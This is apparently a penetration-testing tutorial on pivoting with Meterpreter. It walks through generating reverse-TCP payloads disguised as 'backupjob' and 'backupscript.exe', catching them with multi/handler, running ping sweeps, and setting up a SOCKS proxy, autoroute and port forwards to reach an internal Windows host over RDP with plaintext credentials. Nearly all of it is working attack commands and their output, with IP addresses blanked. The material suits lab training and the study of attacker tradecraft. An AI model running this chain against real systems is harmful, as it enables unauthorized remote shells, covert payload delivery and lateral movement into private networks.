Meterpreter Tunneling & Port Forwarding

Creating Payload for Ubuntu Pivot Host

neutron@kali[/kali]$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST= -f elf -o backupjob LPORT=8080

[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of elf file: 250 bytes
Saved as: backupjob

Before copying the payload over, we can start a multi/handler.

msf6 > use exploit/multi/handler

[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set lhost
lhost =>
msf6 exploit(multi/handler) > set lport 8080
lport => 8080
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 

We can copy the backupjob binary file to the Ubuntu pivot host over SSH and execute it to gain a Meterpreter session.

ubuntu@WebServer:~$ ls

ubuntu@WebServer:~$ chmod +x backupjob 
ubuntu@WebServer:~$ ./backupjob
[*] Sending stage (3020772 bytes) to
[*] Meterpreter session 1 opened ( -> ) at 2022-03-03 12:27:43 -0500
meterpreter > pwd


We know that the Windows target is on the network. So assuming that the firewall on the Windows target is allowing ICMP requests, we would want to perform a ping sweep on this network. We can do that using Meterpreter with the ping_sweep module, which will generate the ICMP traffic from the Ubuntu host to the network

meterpreter > run post/multi/gather/ping_sweep RHOSTS=

[*] Performing ping sweep for IP range

We could also perform a ping sweep using a for loop directly on a target pivot host that will ping any device in the network range we specify.

# Ping Sweep For Loop on Linux Pivot Hosts
for i in {1..254} ;do (ping -c 1 172.16.5.$i | grep "bytes from" &) ;done
# Ping Sweep For Loop Using CMD
for /L %i in (1 1 254) do ping 172.16.5.%i -n 1 -w 100 | find "Reply"
# Ping Sweep Using PowerShell
1..254 | % {"172.16.5.$($_): $(Test-Connection -count 1 -comp 172.15.5.$($_) -quiet)"}

Note: It is possible that a ping sweep may not result in successful replies on the first attempt, especially when communicating across networks. This can be caused by the time it takes for a host to build it's arp cache. In these cases, it is good to attempt our ping sweep at least twice to ensure the arp cache gets built.

If a host's firewall blocks ping (ICMP), the ping won't get us successful replies. In these cases, we can perform a TCP scan on the network with Nmap. Instead of using SSH for port forwarding, we can also use Metasploit's post-exploitation routing module socks_proxy to configure a local proxy on our attack host. We will configure the SOCKS proxy for SOCKS version 4a. This SOCKS configuration will start a listener on port 9050 and route all the traffic received via our Meterpreter session.

msf6 auxiliary(server/socks_proxy) > set SRVPORT 9050
SRVPORT => 9050
msf6 auxiliary(server/socks_proxy) > set SRVHOST
msf6 auxiliary(server/socks_proxy) > set version 4a
version => 4a
msf6 auxiliary(server/socks_proxy) > run
[*] Auxiliary module running as background job 0.

[*] Starting the SOCKS proxy server
msf6 auxiliary(server/socks_proxy) > options

Module options (auxiliary/server/socks_proxy):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST          yes       The address to listen on
   SRVPORT  9050             yes       The port to listen on
   VERSION  4a               yes       The SOCKS version to use (Accepted: 4a,

Auxiliary action:

   Name   Description
   ----   -----------
   Proxy  Run a SOCKS proxy server

Confirming Proxy Server is Running

msf6 auxiliary(server/socks_proxy) > jobs


  Id  Name                           Payload  Payload opts
  --  ----                           -------  ------------
  0   Auxiliary: server/socks_proxy

After initiating the SOCKS server, we will configure proxychains to route traffic generated by other tools like Nmap through our pivot on the compromised Ubuntu host.

Adding to proxychains.conf if needed

socks4 9050

Finally, we need to tell our socks_proxy module to route all the traffic via our Meterpreter session. We can use the post/multi/manage/autoroute module from Metasploit to add routes for the subnet and then route all our proxychains traffic.

msf6 > use post/multi/manage/autoroute

msf6 post(multi/manage/autoroute) > set SESSION 1
msf6 post(multi/manage/autoroute) > set SUBNET
msf6 post(multi/manage/autoroute) > run

[!] SESSION may not be compatible with this module:
[!]  * incompatible session platform: linux
[*] Running module against
[*] Searching for subnets to autoroute.
[+] Route added to subnet from host's routing table.
[+] Route added to subnet from host's routing table.
[*] Post module execution completed

It is also possible to add routes with autoroute by running autoroute from the Meterpreter session.

meterpreter > run autoroute -s

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
[*] Adding a route to
[+] Added route to via
[*] Use the -p option to list all active routes

After adding the necessary route(s) we can use the -p option to list the active routes to make sure our configuration is applied as expected.

meterpreter > run autoroute -p

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]

Active Routing Table

   Subnet             Netmask            Gateway
   ------             -------            -------        Session 1      Session 1      Session 1

Testing Proxy & Routing Functionality

neutron@kali[/kali]$ proxychains nmap -p3389 -sT -v -Pn

ProxyChains-3.1 (
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.92 ( ) at 2022-03-03 13:40 EST
Initiating Parallel DNS resolution of 1 host. at 13:40
Completed Parallel DNS resolution of 1 host. at 13:40, 0.12s elapsed
Initiating Connect Scan at 13:40
Scanning [1 port]
|S-chain|-<>-<><>- :3389-<><>-OK
Discovered open port 3389/tcp on
Completed Connect Scan at 13:40, 0.12s elapsed (1 total ports)
Nmap scan report for 
Host is up (0.12s latency).

3389/tcp open  ms-wbt-server

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.45 seconds

Port Forwarding

Can also be accomplished using Meterpreter's portfwd module. We can enable a listener on our attack host and request Meterpreter to forward all the packets received on this port via our Meterpreter session to a remote host on the network.

Creating Local TCP Relay

meterpreter > portfwd add -l 3300 -p 3389 -r

[*] Local TCP relay created: :3300 <->

The above command requests the Meterpreter session to start a listener on our attack host's local port (-l) 3300 and forward all the packets to the remote (-r) Windows server on 3300 port (-p) via our Meterpreter session.

Connecting to Windows Target through localhost

neutron@kali[/kali]$ xfreerdp /v:localhost:3300 /u:victor /p:pass@123

We can use Netstat to view information about the session we recently established. From a defensive perspective, we may benefit from using Netstat if we suspect a host has been compromised. This allows us to view any sessions a host has established.

neutron@kali[/kali]$ netstat -antp

tcp        0      0          ESTABLISHED 4075/xfreerdp 

Meterpreter Reverse Port Forwarding

Similar to local port forwards, Metasploit can also perform reverse port forwarding with the below command, where you might want to listen on a specific port on the compromised server and forward all incoming shells from the Ubuntu server to our attack host.

We can create a reverse port forward on our existing shell from the previous scenario using the below command. This command forwards all connections on port 1234 running on the Ubuntu server to our attack host on local port (-l) 8081. We will also configure our listener to listen on port 8081 for a Windows shell.

meterpreter > portfwd add -R -l 8081 -p 1234 -L

[*] Local TCP relay created: <-> :1234
meterpreter > bg

[*] Backgrounding session 1...
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LPORT 8081 
LPORT => 8081
msf6 exploit(multi/handler) > set LHOST 
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 

We can now create a reverse shell payload that will send a connection back to our Ubuntu server on when executed on our Windows host. Once our Ubuntu server receives this connection, it will forward that to attack host's ip:8081 that we configured.

neutron@kali[/kali]$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST= -f exe -o backupscript.exe LPORT=1234

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
Saved as: backupscript.exe

If we execute our payload on the Windows host, we should be able to receive a shell from Windows pivoted via the Ubuntu server.

[*] Started reverse TCP handler on 
[*] Sending stage (200262 bytes) to
[*] Meterpreter session 2 opened ( -> ) at 2022-03-04 15:26:14 -0500

meterpreter > shell
Process 2336 created.
Channel 1 created.
Microsoft Windows [Version 10.0.17763.1637]
(c) 2018 Microsoft Corporation. All rights reserved.